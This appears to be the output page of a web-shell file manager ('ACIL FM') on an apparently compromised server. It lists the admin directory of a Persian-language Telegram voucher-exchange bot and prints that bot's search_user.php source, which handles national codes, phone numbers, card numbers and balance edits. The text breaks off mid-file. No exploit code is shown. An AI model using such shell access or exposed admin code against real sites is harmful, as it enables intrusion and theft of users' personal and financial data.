ACIL FM
Dark
Refresh
Current DIR:
/home/fastexsh/public_html/exchange/admin
/
home
fastexsh
public_html
exchange
admin
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
add_message.php
3.76 MB
chmod
View
DL
Edit
Rename
Delete
add_new_admin.php
2.49 MB
chmod
View
DL
Edit
Rename
Delete
bot_stats.php
8.05 MB
chmod
View
DL
Edit
Rename
Delete
change_channels.php
11.69 MB
chmod
View
DL
Edit
Rename
Delete
change_price.php
10.72 MB
chmod
View
DL
Edit
Rename
Delete
change_status.php
9.01 MB
chmod
View
DL
Edit
Rename
Delete
change_text.php
5.63 MB
chmod
View
DL
Edit
Rename
Delete
last_payments.php
5.52 MB
chmod
View
DL
Edit
Rename
Delete
panel.php
3.35 MB
chmod
View
DL
Edit
Rename
Delete
search_user.php
42.2 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/fastexsh/public_html/exchange/admin/search_user.php
<?php function getUserInfoText($user, $db) { $response_text = "🔎 *اطلاعات کاربر*\n\n"; $response_text .= "━━━━━━━━━━━━━━━━━━━━\n\n"; $response_text .= "👤 *نام کامل*: " . $user->full_name . "\n"; $response_text .= "🆔 *شناسه کاربر*: `" . $user->chat_id . "`\n"; $response_text .= "📅 *تاریخ تولد*: " . $user->birthday . "\n"; $response_text .= "📞 *شماره تماس*: " . $user->phone_number . "\n"; $response_text .= "💳 *کد ملی*: " . $user->national_code . "\n\n"; $response_text .= "━━━━━━━━━━━━━━━━━━━━\n\n"; $response_text .= "🔑 *سطح احراز هویت*: " . $user->auth_level . "\n"; $response_text .= "💼 *سطح دسترسی*: " . ($user->is_admin ? '👑 ادمین' : '👤 کاربر') . "\n"; $response_text .= "💢 *وضعیت حساب*: " . ($user->is_ban ? '🚫 مسدود' : '✅ آزاد') . "\n"; $response_text .= "🛍 *بازاریابی*: " . ($user->affiliate ? '✅ فعال' : '❌ غیرفعال') . "\n"; $response_text .= "💰 *موجودی*: " . number_format($user->balance) . " تومان\n\n"; $response_text .= "💳 *شماره کارتهای ثبت شده:*\n"; $query = "SELECT * FROM `cards` WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user->chat_id]); $cards = $stmt->fetchAll(); if (count($cards) > 0) { foreach ($cards as $index => $card) { $response_text .= ($index + 1) . ". `" . $card->number . "`\n"; } } else { $response_text .= "❌ کارتی ثبت نشده است\n"; } return $response_text; } function getUserAdminKeyboard($user_id) { return json_encode([ 'inline_keyboard' => [ [['text' => '➖ کسر موجودی', 'callback_data' => 'de_user_balance-' . $user_id], ['text' => '➕ افزایش موجودی', 'callback_data' => 'inc_user_balance-' . $user_id]], [['text' => '📩 ارسال پیام به کاربر', 'callback_data' => 'send_message_to-' . $user_id]], [['text' => '➕ افزودن شماره کارت', 'callback_data' => 'admin_add_card-' . $user_id], ['text' => '❌ حذف شماره کارت', 'callback_data' => 'admin_delete_card-' . $user_id]], [['text' => '💳 شماره کارتهای ثبت شده', 'callback_data' => 'admin_list_cards-' . $user_id]], [['text' => '🛒 آخرین خرید کاربر', 'callback_data' => 'last_buy-' . $user_id], ['text' => '💵 آخرین فروش کاربر', 'callback_data' => 'last_sell-' . $user_id]], [['text' => '📥 گزارشات شارژ حساب', 'callback_data' => 'last_payments-' . $user_id], ['text' => '📤 گزارشات برداشت', 'callback_data' => 'last_withdraw-' . $user_id]], [['text' => '🚫 بلاک کردن', 'callback_data' => 'ban_f_user-' . $user_id], ['text' => '✅ آنبلاک کردن', 'callback_data' => 'unban_g_user-' . $user_id]], [['text' => '📢 فعال کردن بازاریابی', 'callback_data' => 'on_invite-' . $user_id], ['text' => '🔇 غیرفعال کردن بازاریابی', 'callback_data' => 'off_invite-' . $user_id]], [['text' => '💎 ارتقا سطح', 'callback_data' => 'upgrade_level-' . $user_id]] ] ]); } function getBackToSearchKeyboard($user_id) { return json_encode([ 'inline_keyboard' => [ [['text' => '🔙 بازگشت به جستجو', 'callback_data' => 'back_to_search-' . $user_id]] ] ]); } if (strpos($data, 'back_to_search-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال بارگذاری اطلاعات...', false); } $user = getUser($user_id); if ($user) { $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); } else { $bot->editMessage($from_id, "❌ *کاربری یافت نشد.*", $message_id); } setStep($from_id, 'panel'); // Reset step to prevent interference die; } if ($text == '🔍 جستجوی کاربر') { $response_text = "🔍 لطفا شناسه عددی، کد ملی یا نام شخصی که میخواهید جستجو کنید وارد کنید:"; $bot->sendMessage($from_id, $response_text, $back_to_admin); setStep($from_id, 'search-user'); die; } if ($currentUser->step == 'search-user') { $query = "SELECT * FROM `users` WHERE (`chat_id` = ? OR `full_name` = ? OR `national_code` = ?) AND `auth_level` != 0"; $stmt = $db->prepare($query); $stmt->execute([$text, $text, $text]); $user = $stmt->fetch(); if ($user) { $response_text = getUserInfoText($user, $db); $user_id = $user->chat_id; $keyboard = getUserAdminKeyboard($user_id); $bot->sendMessage($from_id, $response_text, $keyboard, $message_id); setStep($from_id, 'panel'); } else { $error_text = "❌ *کاربری یافت نشد*\n\n"; $error_text .= "با اطلاعات وارد شده هیچ کاربری پیدا نشد.\n\n"; $error_text .= "💡 *راهنمایی:*\n"; $error_text .= "• مطمئن شوید که اطلاعات را صحیح وارد کردهاید\n"; $error_text .= "• میتوانید با شناسه عددی، کد ملی یا نام کامل جستجو کنید"; $bot->sendMessage($from_id, $error_text, $admin_keyboard); } setStep($from_id, 'panel'); die; } if (strpos($data, 'de_user_balance-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } $response_text = "💸 *کسر موجودی*\n\n"; $response_text .= "👤 *شناسه کاربر:* `$user_id`\n\n"; $response_text .= "📝 لطفاً مبلغی که میخواهید از حساب کاربر کسر شود را وارد کنید:\n\n"; $response_text .= "💡 *نکات:*\n"; $response_text .= "• فقط عدد وارد کنید\n"; $response_text .= "• میتوانید از کاما برای جدا کردن استفاده کنید\n"; $response_text .= "• مبلغ باید بیشتر از صفر باشد\n"; $response_text .= "• مبلغ نباید از موجودی کاربر بیشتر باشد\n\n"; $response_text .= "💡 *مثال:* `100000` یا `1,000,000`"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); setStep($from_id, 'de_user_balance-' . $user_id . '-' . $message_id); die; } if (strpos($currentUser->step, 'de_user_balance-') !== false) { $parts = explode('-', $currentUser->step); $user_id = $parts[1]; $saved_message_id = isset($parts[2]) ? $parts[2] : null; $text_cleaned = preg_replace('/[\s,]/', '', $text); // حذف فاصله و کاما if (!is_numeric($text_cleaned) || !preg_match('/^\d+$/', $text_cleaned)) { $error_text = "❌ *ورودی نامعتبر*\n\n"; $error_text .= "لطفاً فقط عدد وارد کنید.\n"; $error_text .= "💡 مثال: `100000` یا `1,000,000`"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $amount = (int) $text_cleaned; if ($amount <= 0) { $error_text = "❌ *مبلغ نامعتبر*\n\n"; $error_text .= "مبلغ باید بیشتر از صفر باشد.\n"; $error_text .= "💡 لطفاً یک مبلغ معتبر وارد کنید."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $user = selectUser($user_id); $old_balance = $user->balance; if ($amount > $old_balance) { $error_text = "❌ *مبلغ بیش از حد مجاز*\n\n"; $error_text .= "مبلغ وارد شده از موجودی کاربر بیشتر است.\n\n"; $error_text .= "💰 *موجودی کاربر*: " . number_format($old_balance) . " تومان\n"; $error_text .= "💸 *مبلغ درخواستی*: " . number_format($amount) . " تومان\n\n"; $error_text .= "💡 لطفاً مبلغی کمتر یا مساوی موجودی کاربر وارد کنید."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $query = "UPDATE `users` SET `balance` = `balance` - ? WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$amount, $user_id]); $user = selectUser($user_id); $new_balance = $user->balance; $detail_text = "✅ *کسر موجودی با موفقیت انجام شد*\n\n"; $detail_text .= "👤 *شناسه کاربر*: `$user_id`\n"; $detail_text .= "💰 *موجودی قبلی*: " . number_format($old_balance) . " تومان\n"; $detail_text .= "💸 *مبلغ کسر شده*: " . number_format($amount) . " تومان\n"; $detail_text .= "💰 *موجودی فعلی*: " . number_format($new_balance) . " تومان\n"; $detail_text .= "📅 *تاریخ و زمان*: " . jdate("Y/m/d - H:i:s", time(), tr_num: 'en'); $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $detail_text, $back_keyboard); if ($saved_message_id) { $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $saved_message_id, $keyboard); } setStep($from_id, 'panel'); die; } if (strpos($data, 'inc_user_balance-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } $response_text = "💸 *افزایش موجودی*\n\n"; $response_text .= "👤 *شناسه کاربر:* `$user_id`\n\n"; $response_text .= "📝 لطفاً مبلغی که میخواهید به حساب کاربر افزوده شود را وارد کنید:\n\n"; $response_text .= "💡 *نکات:*\n"; $response_text .= "• فقط عدد وارد کنید\n"; $response_text .= "• میتوانید از کاما برای جدا کردن استفاده کنید\n"; $response_text .= "• مبلغ باید بیشتر از صفر باشد\n\n"; $response_text .= "💡 *مثال:* `100000` یا `1,000,000`"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); setStep($from_id, 'inc_user_balance-' . $user_id . '-' . $message_id); die; } if (strpos($currentUser->step, 'inc_user_balance-') !== false) { $parts = explode('-', $currentUser->step); $user_id = $parts[1]; $saved_message_id = isset($parts[2]) ? $parts[2] : null; $text_cleaned = preg_replace('/[\s,]/', '', $text); // حذف فاصله و کاما if (!is_numeric($text_cleaned) || !preg_match('/^\d+$/', $text_cleaned)) { $error_text = "❌ *ورودی نامعتبر*\n\n"; $error_text .= "لطفاً فقط عدد وارد کنید.\n"; $error_text .= "💡 مثال: `100000` یا `1,000,000`"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $amount = (int) $text_cleaned; if ($amount <= 0) { $error_text = "❌ *مبلغ نامعتبر*\n\n"; $error_text .= "مبلغ باید بیشتر از صفر باشد.\n"; $error_text .= "💡 لطفاً یک مبلغ معتبر وارد کنید."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $user = selectUser($user_id); $old_balance = $user->balance; $query = "UPDATE `users` SET `balance` = `balance` + ? WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$amount, $user_id]); $user = selectUser($user_id); $new_balance = $user->balance; // نمایش پیام با جزئیات دقیق $detail_text = "✅ *افزایش موجودی با موفقیت انجام شد*\n\n"; $detail_text .= "👤 *شناسه کاربر*: `$user_id`\n"; $detail_text .= "💰 *موجودی قبلی*: " . number_format($old_balance) . " تومان\n"; $detail_text .= "💸 *مبلغ افزوده شده*: " . number_format($amount) . " تومان\n"; $detail_text .= "💰 *موجودی فعلی*: " . number_format($new_balance) . " تومان\n"; $detail_text .= "📅 *تاریخ و زمان*: " . jdate("Y/m/d - H:i:s", time(), tr_num: 'en'); $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $detail_text, $back_keyboard); if ($saved_message_id) { $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $saved_message_id, $keyboard); } setStep($from_id, 'panel'); die; } if (strpos($data, 'send_message_to-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } $bot->editMessage($from_id, "📩 *ارسال پیام به کاربر*\n\nلطفاً پیام مورد نظر خود را ارسال کنید:", $message_id); $bot->sendMessage($from_id, '📩 لطفاً پیام مورد نظر خود را ارسال کنید: ', $back_keyboard); setStep($from_id, 'send_message_to-' . $user_id); die; } if (strpos($currentUser->step, 'send_message_to-') !== false) { $user_id = explode('-', $currentUser->step)[1]; $message_text = trim($text); if (empty($message_text) || strlen($message_text) < 3) { $error_text = "❌ *پیام نامعتبر*\n\n"; $error_text .= "پیام باید حداقل 3 کاراکتر باشد.\n"; $error_text .= "💡 لطفاً یک پیام معتبر وارد کنید."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $target_user = selectUser($user_id); if (!$target_user) { $error_text = "❌ *کاربر یافت نشد*\n\n"; $error_text .= "کاربر با شناسه `$user_id` در سیستم یافت نشد."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $response_text = "👨💻 *یک پیام جدید از پشتیبانی*\n\n"; $response_text .= $message_text; $bot->sendMessage($user_id, $response_text); $success_text = "✅ *پیام با موفقیت ارسال شد*\n\n"; $success_text .= "👤 *گیرنده*: " . $target_user->full_name . "\n"; $success_text .= "🆔 *شناسه کاربر*: `$user_id`\n"; $success_text .= "📝 *طول پیام*: " . strlen($message_text) . " کاراکتر\n"; $success_text .= "📅 *تاریخ و زمان*: " . jdate("Y/m/d - H:i:s", time(), tr_num: 'en'); $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $success_text, $back_keyboard); setStep($from_id, 'panel'); die; } if (strpos($data, 'last_buy-') !== false) { $parts = explode('-', $data); $user_id = $parts[1]; $page = isset($parts[2]) ? (int)$parts[2] : 1; $limit = 10; $offset = ($page - 1) * $limit; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت اطلاعات خرید کاربر (صفحه $page)...*", $message_id); // Get total count $queryCount = "SELECT COUNT(*) FROM `sold_vouchers` WHERE `chat_id` = ?"; $stmtCount = $db->prepare($queryCount); $stmtCount->execute([$user_id]); $totalRecords = $stmtCount->fetchColumn(); $totalPages = ceil($totalRecords / $limit); // Get records $query = "SELECT * FROM `sold_vouchers` WHERE `chat_id` = ? ORDER BY `created_at` DESC LIMIT $limit OFFSET $offset"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $result = $stmt->fetchAll(); if (!$result) { $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, "❌ این کاربر خریدی نداشته است.", $message_id, $back_keyboard); die; } $response_text = "🟡 *لیست خریدهای اخیر کاربر (صفحه $page از $totalPages)*:\n\n"; foreach ($result as $voucher) { $response_text .= "💸 *مقدار ووچر*: " . $voucher->amount . " تومان\n"; $response_text .= "🔑 *کد ووچر*:" . "`" . $voucher->code . "`" . "\n"; $response_text .= "🛒 *نوع ووچر*: " . $voucher->type . "\n"; $response_text .= "💳 *کد رهگیری*: " . "`" . $voucher->support_code . "`" . "\n"; $response_text .= "📅 *تاریخ خرید*: " . jdate("Y/m/d - H:i:s", strtotime($voucher->created_at), tr_num: 'en') . "\n\n\n"; } $response_text .= "📊 تعداد کل خریدها: $totalRecords"; // Pagination Buttons $keyboard_buttons = []; $nav_buttons = []; if ($page > 1) { $nav_buttons[] = ['text' => '➡️ صفحه قبل', 'callback_data' => 'last_buy-' . $user_id . '-' . ($page - 1)]; } if ($page < $totalPages) { $nav_buttons[] = ['text' => 'صفحه بعد ⬅️', 'callback_data' => 'last_buy-' . $user_id . '-' . ($page + 1)]; } if (!empty($nav_buttons)) { $keyboard_buttons[] = $nav_buttons; } $keyboard_buttons[] = [['text' => '🔙 بازگشت به جستجو', 'callback_data' => 'back_to_search-' . $user_id]]; $back_keyboard = json_encode(['inline_keyboard' => $keyboard_buttons]); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } if (strpos($data, 'last_sell-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت اطلاعات فروش کاربر...*", $message_id); $query = "SELECT * FROM `purchased_vouchers` WHERE `chat_id` = ? ORDER BY `created_at` DESC LIMIT 10"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $result = $stmt->fetchAll(); if (!$result) { $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, "❌ این کاربر فروشی به ربات نداشته است.", $message_id, $back_keyboard); die; } $response_text = "🟢 *لیست 10 فروش اخیر کاربر*:\n\n"; foreach ($result as $voucher) { $response_text .= "💰 *مقدار ووچر*: " . $voucher->amount . " تومان\n"; $response_text .= "🔑 *کد ووچر*: " . "`" . $voucher->code . "`" . "\n"; $response_text .= "🛍 *نوع ووچر*: " . $voucher->type . "\n"; $response_text .= "🔒 *کد رهگیری*: " . "`" . $voucher->support_code . "`" . "\n"; $response_text .= "📅 *تاریخ فروش*: " . jdate("Y/m/d - H:i:s", strtotime($voucher->created_at), tr_num: 'en') . "\n\n"; } $response_text .= "📊 این اطلاعات شامل 10 ووچر فروخته شده آخر کاربر است."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } if (strpos($data, 'last_payments-') !== false) { $parts = explode('-', $data); $user_id = $parts[1]; $page = isset($parts[2]) ? (int)$parts[2] : 1; $limit = 10; $offset = ($page - 1) * $limit; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت اطلاعات واریز کاربر (صفحه $page)...*", $message_id); // Get total count $queryCount = "SELECT COUNT(*) FROM `transactions` WHERE `chat_id` = ? AND `status` = 1"; $stmtCount = $db->prepare($queryCount); $stmtCount->execute([$user_id]); $totalRecords = $stmtCount->fetchColumn(); $totalPages = ceil($totalRecords / $limit); // Get records $query = "SELECT * FROM `transactions` WHERE `chat_id` = ? AND `status` = 1 ORDER BY `updated_at` DESC LIMIT $limit OFFSET $offset"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $result = $stmt->fetchAll(); if (!$result) { $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, "❌ هیچ واریزی توسط کاربر انجام نشده.", $message_id, $back_keyboard); die; } $response_text = "🟢 *لیست واریزهای اخیر کاربر (صفحه $page از $totalPages)*:\n\n"; foreach ($result as $transaction) { $response_text .= "🔹 *مقدار واریزی*: " . $transaction->amount . " تومان\n"; $response_text .= "🔹 *تاریخ واریز*: " . jdate("Y/m/d - H:i:s", strtotime($transaction->updated_at), tr_num: 'en') . "\n"; $response_text .= "🔹 *شماره کارت*: " . $transaction->card . "\n"; $response_text .= "🔹 *کد پیگیری*: " . "`" . $transaction->support_code . "`" . "\n\n"; } $response_text .= "� تعداد کل واریزها: $totalRecords"; // Pagination Buttons $keyboard_buttons = []; $nav_buttons = []; if ($page > 1) { $nav_buttons[] = ['text' => '➡️ صفحه قبل', 'callback_data' => 'last_payments-' . $user_id . '-' . ($page - 1)]; } if ($page < $totalPages) { $nav_buttons[] = ['text' => 'صفحه بعد ⬅️', 'callback_data' => 'last_payments-' . $user_id . '-' . ($page + 1)]; } if (!empty($nav_buttons)) { $keyboard_buttons[] = $nav_buttons; } $keyboard_buttons[] = [['text' => '🔙 بازگشت به جستجو', 'callback_data' => 'back_to_search-' . $user_id]]; $back_keyboard = json_encode(['inline_keyboard' => $keyboard_buttons]); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } if (strpos($data, 'last_withdraw-') !== false) { $parts = explode('-', $data); $user_id = $parts[1]; $page = isset($parts[2]) ? (int)$parts[2] : 1; $limit = 10; $offset = ($page - 1) * $limit; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت اطلاعات برداشت کاربر (صفحه $page)...*", $message_id); // Get total count $queryCount = "SELECT COUNT(*) FROM `withdraw` WHERE `chat_id` = ? AND `status` = 'confirm'"; $stmtCount = $db->prepare($queryCount); $stmtCount->execute([$user_id]); $totalRecords = $stmtCount->fetchColumn(); $totalPages = ceil($totalRecords / $limit); // Get records $query = "SELECT * FROM `withdraw` WHERE `chat_id` = ? AND `status` = 'confirm' ORDER BY `created_at` DESC LIMIT $limit OFFSET $offset"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $result = $stmt->fetchAll(); if (!$result) { $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, "❌ هیچ برداشتی توسط کاربر انجام نشده.", $message_id, $back_keyboard); die; } $response_text = "🔵 *لیست برداشتهای اخیر کاربر (صفحه $page از $totalPages)*:\n\n"; foreach ($result as $withdrawal) { $response_text .= "🔹 *مقدار برداشت*: " . $withdrawal->amount . " تومان\n"; $response_text .= "🔹 *تاریخ برداشت*: " . jdate("Y/m/d - H:i:s", strtotime($withdrawal->updated_at), tr_num: 'en') . "\n"; $response_text .= "🔹 *کارت مبدا*: " . $withdrawal->card . "\n"; $response_text .= "🔹 *کد پیگیری*: " . "`" . $withdrawal->support_code . "`" . "\n\n"; } $response_text .= "📊 تعداد کل برداشتها: $totalRecords"; // Pagination Buttons $keyboard_buttons = []; $nav_buttons = []; if ($page > 1) { $nav_buttons[] = ['text' => '➡️ صفحه قبل', 'callback_data' => 'last_withdraw-' . $user_id . '-' . ($page - 1)]; } if ($page < $totalPages) { $nav_buttons[] = ['text' => 'صفحه بعد ⬅️', 'callback_data' => 'last_withdraw-' . $user_id . '-' . ($page + 1)]; } if (!empty($nav_buttons)) { $keyboard_buttons[] = $nav_buttons; } $keyboard_buttons[] = [['text' => '🔙 بازگشت به جستجو', 'callback_data' => 'back_to_search-' . $user_id]]; $back_keyboard = json_encode(['inline_keyboard' => $keyboard_buttons]); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } if (strpos($data, 'ban_f_user-') !== false) { $user_id = explode('-', $data)[1]; $user = selectUser($user_id); if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } if ($user->is_admin) { $bot->editMessage($from_id, "❌ امکان مسدود سازی ادمین وجود ندارد.", $message_id); die; } $bot->editMessage($from_id, "⏳ *در حال بلاک کردن کاربر...*", $message_id); $query = "UPDATE `users` SET `is_ban` = 1 WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $bot->sendMessage($from_id, "✅ کاربر با شناسه $user_id از ربات بلاک شد.", null); // بهروزرسانی اطلاعات کاربر در پیام اصلی $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); setStep($from_id, 'panel'); die; } if (strpos($data, 'unban_g_user-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } $bot->editMessage($from_id, "⏳ *در حال آنبلاک کردن کاربر...*", $message_id); $query = "UPDATE `users` SET `is_ban` = 0 WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $bot->sendMessage($from_id, "✅ کاربر با شناسه $user_id از ربات آنبلاک شد.", null); // بهروزرسانی اطلاعات کاربر در پیام اصلی $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); setStep($from_id, 'panel'); die; } if (strpos($data, 'on_invite-') !== false) { $user_id = explode('-', $data)[1]; $bot->editMessage($from_id, "⏳ *در حال فعال کردن بازاریابی...*", $message_id); $query = "UPDATE `users` SET `affiliate` = 1 WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); // نمایش نوتیفیکیشن if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '✅ بازاریابی فعال شد', false); } // بهروزرسانی اطلاعات کاربر در پیام اصلی $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); setStep($from_id, 'panel'); die; } if (strpos($data, 'off_invite-') !== false) { $user_id = explode('-', $data)[1]; $bot->editMessage($from_id, "⏳ *در حال غیرفعال کردن بازاریابی...*", $message_id); $query = "UPDATE `users` SET `affiliate` = 0 WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); // نمایش نوتیفیکیشن if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '✅ بازاریابی غیرفعال شد', false); } // بهروزرسانی اطلاعات کاربر در پیام اصلی $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); setStep($from_id, 'panel'); die; } if (strpos($data, 'admin_add_card-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال پردازش...', false); } $response_text = "➕ *افزودن شماره کارت به کاربر*\n\n"; $response_text .= "👤 *شناسه کاربر:* `$user_id`\n\n"; $response_text .= "📝 لطفاً اطلاعات کارت را به فرمت زیر در دو خط ارسال کنید:\n\n"; $response_text .= "🔹 خط اول: *شماره کارت* (16 رقم)\n"; $response_text .= "🔹 خط دوم: *شماره شبا* (24 کاراکتر با IR)\n\n"; $response_text .= "💡 *مثال:*\n"; $response_text .= "```\n"; $response_text .= "6219861012345678\n"; $response_text .= "IR120170000000324123456789\n"; $response_text .= "```\n\n"; $response_text .= "⚠️ *توجه:*\n"; $response_text .= "• شماره کارت باید دقیقاً 16 رقم باشد\n"; $response_text .= "• شماره شبا باید با IR شروع شود و 24 کاراکتر باشد (IR + 22 رقم)"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); setStep($from_id, 'admin_add_card-' . $user_id . '-' . $message_id); die; } if (strpos($currentUser->step, 'admin_add_card-') !== false) { $parts = explode('-', $currentUser->step); $user_id = $parts[1]; $saved_message_id = isset($parts[2]) ? $parts[2] : null; $lines = explode("\n", $text); if (count($lines) < 2) { $error_text = "❌ *فرمت نامعتبر*\n\n"; $error_text .= "لطفاً اطلاعات را در دو خط ارسال کنید:\n"; $error_text .= "🔹 خط اول: شماره کارت\n"; $error_text .= "🔹 خط دوم: شماره شبا"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $card_number = trim($lines[0]); $shaba = trim($lines[1]); $card_number = preg_replace('/[\s\-]/', '', $card_number); $shaba = preg_replace('/[\s\-]/', '', $shaba); $shaba = strtoupper($shaba); // تبدیل به حروف بزرگ if (!preg_match("/^\d{16}$/", $card_number)) { $error_text = "❌ *شماره کارت نامعتبر*\n\n"; $error_text .= "شماره کارت باید دقیقاً 16 رقم باشد.\n"; $error_text .= "💡 لطفاً شماره کارت را بدون فاصله و خط تیره وارد کنید."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } if (!preg_match("/^IR\d{22}$/", $shaba) || strlen($shaba) != 24) { $error_text = "❌ *شماره شبا نامعتبر*\n\n"; $error_text .= "شماره شبا باید با IR شروع شود و 24 کاراکتر باشد (IR + 22 رقم).\n"; $error_text .= "💡 مثال: `IR120170000000324123456789`\n\n"; $error_text .= "⚠️ شماره شبا وارد شده: `" . $shaba . "` (" . strlen($shaba) . " کاراکتر)"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $query = "SELECT * FROM `cards` WHERE `number` = ?"; $stmt = $db->prepare($query); $stmt->execute([$card_number]); $existing_card = $stmt->fetch(); if ($existing_card) { $error_text = "⚠️ *شماره کارت تکراری*\n\n"; $error_text .= "این شماره کارت قبلاً در سیستم ثبت شده است."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $error_text, $back_keyboard); die; } $query = "INSERT INTO `cards` (`chat_id`, `number`, `shaba`) VALUES (?, ?, ?)"; $stmt = $db->prepare($query); $stmt->execute([$user_id, $card_number, $shaba]); $detail_text = "✅ *کارت با موفقیت افزوده شد*\n\n"; $detail_text .= "👤 *شناسه کاربر*: `$user_id`\n"; $detail_text .= "💳 *شماره کارت*: `$card_number`\n"; $detail_text .= "📝 *شماره شبا*: `" . strtoupper($shaba) . "`\n"; $detail_text .= "📅 *تاریخ و زمان*: " . jdate("Y/m/d - H:i:s", time(), tr_num: 'en'); $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $detail_text, $back_keyboard); if ($saved_message_id) { $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $saved_message_id, $keyboard); } setStep($from_id, 'panel'); die; } if (strpos($data, 'admin_list_cards-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت لیست کارتها...*", $message_id); $query = "SELECT * FROM `cards` WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $cards = $stmt->fetchAll(); if (count($cards) == 0) { $response_text = "❌ *کارتی ثبت 